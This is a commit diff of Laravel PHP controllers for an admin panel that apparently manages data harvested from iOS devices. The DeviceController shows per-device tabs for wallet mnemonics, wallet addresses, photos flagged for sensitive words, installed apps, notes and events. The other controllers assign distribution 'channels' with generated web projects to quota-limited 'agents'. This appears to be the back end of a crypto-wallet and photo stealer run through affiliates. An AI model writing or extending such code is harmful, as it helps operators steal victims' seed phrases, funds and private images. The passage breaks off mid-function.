init
This commit is contained in:
@@ -0,0 +1,115 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class AdminUserController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('admin.system.admins');
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = Admin::query();
|
||||
$username = trim((string) $request->query('username', ''));
|
||||
if ($username !== '') {
|
||||
$q->where('username', 'like', '%'.$username.'%');
|
||||
}
|
||||
|
||||
$sortable = ['id', 'username', 'is_super', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$selfId = (int) auth('admin')->id();
|
||||
$data = collect($paginator->items())->map(function (Admin $a) use ($selfId) {
|
||||
return [
|
||||
'id' => $a->id,
|
||||
'username' => $a->username,
|
||||
'is_super' => (int) $a->is_super,
|
||||
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
|
||||
'is_self' => $a->id === $selfId,
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('admins', 'username')],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create([
|
||||
'username' => $data['username'],
|
||||
'password' => $data['password'],
|
||||
'is_super' => (int) ($data['is_super'] ?? 0),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $admin->id]]);
|
||||
}
|
||||
|
||||
public function update(Request $request, Admin $adminUser)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('is_super', $data) && $data['is_super'] !== null) {
|
||||
$newSuper = (int) $data['is_super'];
|
||||
if ($adminUser->isSuper() && $newSuper === 0 && $this->superCount() <= 1) {
|
||||
return response()->json(['code' => 1, 'msg' => '至少保留一名超级管理员'], 422);
|
||||
}
|
||||
$adminUser->is_super = $newSuper;
|
||||
}
|
||||
|
||||
if (! empty($data['password'])) {
|
||||
$adminUser->password = $data['password'];
|
||||
}
|
||||
$adminUser->save();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function destroy(Admin $adminUser)
|
||||
{
|
||||
if ((int) $adminUser->id === (int) auth('admin')->id()) {
|
||||
return response()->json(['code' => 1, 'msg' => '不能删除当前登录账号'], 422);
|
||||
}
|
||||
if ($adminUser->isSuper() && $this->superCount() <= 1) {
|
||||
return response()->json(['code' => 1, 'msg' => '不能删除最后一名超级管理员'], 422);
|
||||
}
|
||||
|
||||
$adminUser->delete();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
private function superCount(): int
|
||||
{
|
||||
return (int) Admin::query()->where('is_super', 1)->count();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class AgentUserController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('admin.agents.index');
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = User::query()->withCount('channels');
|
||||
|
||||
$username = trim((string) $request->query('username', ''));
|
||||
$status = $request->query('status');
|
||||
if ($username !== '') {
|
||||
$q->where('username', 'like', '%'.$username.'%');
|
||||
}
|
||||
if ($status !== null && $status !== '') {
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'username', 'status', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (User $u) {
|
||||
return [
|
||||
'id' => $u->id,
|
||||
'username' => $u->username,
|
||||
'status' => (int) $u->status,
|
||||
'comment' => $u->comment ?: '',
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('users', 'username')],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
'username' => $data['username'],
|
||||
'password' => $data['password'],
|
||||
'comment' => $data['comment'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
}
|
||||
|
||||
public function update(Request $request, User $agent)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
$agent->comment = $data['comment'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$agent->status = (int) $data['status'];
|
||||
}
|
||||
if (! empty($data['password'])) {
|
||||
$agent->password = $data['password'];
|
||||
}
|
||||
$agent->save();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function channels(User $agent)
|
||||
{
|
||||
$rows = Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->orderByDesc('id')
|
||||
->get()
|
||||
->map(fn (Channel $c) => [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'status' => (int) $c->status,
|
||||
'remark' => $c->remark ?: '',
|
||||
'links' => $c->supportLinks(),
|
||||
])
|
||||
->values();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('admin')->check()) {
|
||||
return redirect()->route('admin.home');
|
||||
}
|
||||
|
||||
return view('admin.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('admin.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
if (Auth::guard('admin')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('admin.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('admin')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('admin.login');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,296 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\ChannelProjectService;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
|
||||
class ChannelController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.channels.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'maxPerAgent' => Channel::maxPerAgent(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = Channel::query()->with('user:id,username');
|
||||
|
||||
if ($agent = $this->agent()) {
|
||||
$q->where('user_id', $agent->id);
|
||||
}
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$agentUserId = $request->query('agent_user_id');
|
||||
$status = $request->query('status');
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId !== null && $agentUserId !== '') {
|
||||
$q->where('user_id', (int) $agentUserId);
|
||||
}
|
||||
if ($status !== null && $status !== '') {
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
$domains = Channel::normalizeDomainList($c->domains);
|
||||
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'domains' => $domains,
|
||||
'domains_text' => implode("\n", $domains),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function randomId()
|
||||
{
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => Channel::randomChannelId()],
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$domains = SettingsService::parseDomains($data['domains'] ?? null);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$projects->generate($data['channel_id'], $domains);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '渠道资源生成失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $domains) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
// The user row lock serializes quota checks for this agent.
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
}
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'user_id' => $userId,
|
||||
'domains' => $domains,
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '创建失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'links' => $channel->supportLinks(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, Channel $channel)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
if ($this->isAgentPortal()) {
|
||||
$data = $request->validate([
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$channel->status = (int) $data['status'];
|
||||
}
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('user_id', $data)) {
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
if ($userId !== (int) $channel->user_id && $userId > 0) {
|
||||
$this->assertAgentChannelQuota($userId, $channel->id);
|
||||
}
|
||||
$channel->user_id = $userId;
|
||||
}
|
||||
if (array_key_exists('domains', $data)) {
|
||||
$channel->domains = SettingsService::parseDomains($data['domains']);
|
||||
}
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$channel->status = (int) $data['status'];
|
||||
}
|
||||
}
|
||||
|
||||
$channel->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => ['links' => $channel->supportLinks()],
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
try {
|
||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||
// for a safe retry instead of orphaning an unreachable static project.
|
||||
$projects->deleteWebTree($channelId);
|
||||
DB::transaction(static fn () => $channel->delete());
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '删除失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
private function assertAgentChannelQuota(int $userId, ?int $exceptChannelId = null): void
|
||||
{
|
||||
if ($userId <= 0) {
|
||||
return;
|
||||
}
|
||||
$q = Channel::query()->where('user_id', $userId);
|
||||
if ($exceptChannelId) {
|
||||
$q->where('id', '!=', $exceptChannelId);
|
||||
}
|
||||
$count = $q->count();
|
||||
$max = Channel::maxPerAgent();
|
||||
if ($count >= $max) {
|
||||
throw ValidationException::withMessages([
|
||||
'user_id' => "该代理最多只能拥有 {$max} 条渠道链接",
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function authorizeChannel(Channel $channel): void
|
||||
{
|
||||
if ($agent = $this->agent()) {
|
||||
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
|
||||
}
|
||||
}
|
||||
|
||||
private function compensateBuildUnlessChannelExists(
|
||||
ChannelProjectService $projects,
|
||||
string $channelId
|
||||
): void {
|
||||
try {
|
||||
// A concurrent request may have won the unique channel_id insert. Its
|
||||
// project must not be removed by this request's compensation.
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
return;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('Skipped channel build compensation because DB state is unknown', [
|
||||
'channel_id' => $channelId,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$projects->deleteWebTree($channelId);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Failed to compensate channel build', [
|
||||
'channel_id' => $channelId,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class DashboardController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.dashboard.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$range = (string) $request->query('range', '30d');
|
||||
[$from, $to] = $this->rangeBounds($range);
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$agentUserId = $this->isAgentPortal()
|
||||
? (int) ($this->agent()?->id ?? 0)
|
||||
: (int) $request->query('agent_user_id', 0);
|
||||
|
||||
$base = Device::query();
|
||||
AgentScope::applyDeviceChannelScope($base, $this->agent());
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($base, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
$base->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
|
||||
$total = (clone $base)->count();
|
||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'total' => $total,
|
||||
'new_count' => $newCount,
|
||||
'active_count' => $activeCount,
|
||||
'range' => $range,
|
||||
'from' => $from->toDateTimeString(),
|
||||
'to' => $to->toDateTimeString(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
*/
|
||||
private function rangeBounds(string $range): array
|
||||
{
|
||||
$now = Carbon::now();
|
||||
|
||||
return match ($range) {
|
||||
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
|
||||
'yesterday' => [
|
||||
$now->copy()->subDay()->startOfDay(),
|
||||
$now->copy()->subDay()->endOfDay(),
|
||||
],
|
||||
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
|
||||
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.devices.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'updated_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'updated_at';
|
||||
}
|
||||
$q->orderBy('devices.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
|
||||
return [
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
'ios_version' => $d->ios_version ?: '',
|
||||
'ip' => $d->ip ?: '',
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function show(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
$addressSources = collect();
|
||||
$addressChains = collect();
|
||||
if ($tab === 'wallets') {
|
||||
$addressSources = $device->addresses()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source')
|
||||
->values();
|
||||
$addressChains = $device->addresses()
|
||||
->whereNotNull('chain_type')
|
||||
->where('chain_type', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('chain_type')
|
||||
->pluck('chain_type')
|
||||
->values();
|
||||
}
|
||||
|
||||
return view('admin.devices.show', [
|
||||
'device' => $device,
|
||||
'tab' => $tab,
|
||||
'addressSources' => $addressSources,
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function tabData(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = (string) $request->query('tab', 'wallets');
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
$field = (string) $request->query('field', 'id');
|
||||
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
||||
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
||||
};
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
{
|
||||
if ($agent = $this->agent()) {
|
||||
$ids = AgentScope::channelIdsFor($agent);
|
||||
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
|
||||
}
|
||||
}
|
||||
|
||||
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
|
||||
$q = $device->photos();
|
||||
// sensitive=1 → x_hit > 0(含敏感词)
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('x_hit', '>', 0);
|
||||
}
|
||||
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
|
||||
return [
|
||||
'id' => $photo->id,
|
||||
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
|
||||
'sha256' => $photo->sha256 ?: '',
|
||||
'size' => $photo->size,
|
||||
'x_hit' => $photo->x_hit,
|
||||
'upload_count' => $photo->upload_count,
|
||||
'process_index' => $photo->process_index,
|
||||
'text_count' => $photo->text_count,
|
||||
'barcode_count' => $photo->barcode_count,
|
||||
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q = $device->addresses();
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
if ($source !== '') {
|
||||
$q->where('source', $source);
|
||||
}
|
||||
$chainType = trim((string) $request->query('chain_type', ''));
|
||||
if ($chainType !== '') {
|
||||
$q->where('chain_type', $chainType);
|
||||
}
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $addr->id,
|
||||
'source' => $addr->source ?: '',
|
||||
'chain_type' => $addr->chain_type ?: '',
|
||||
'address' => $addr->address,
|
||||
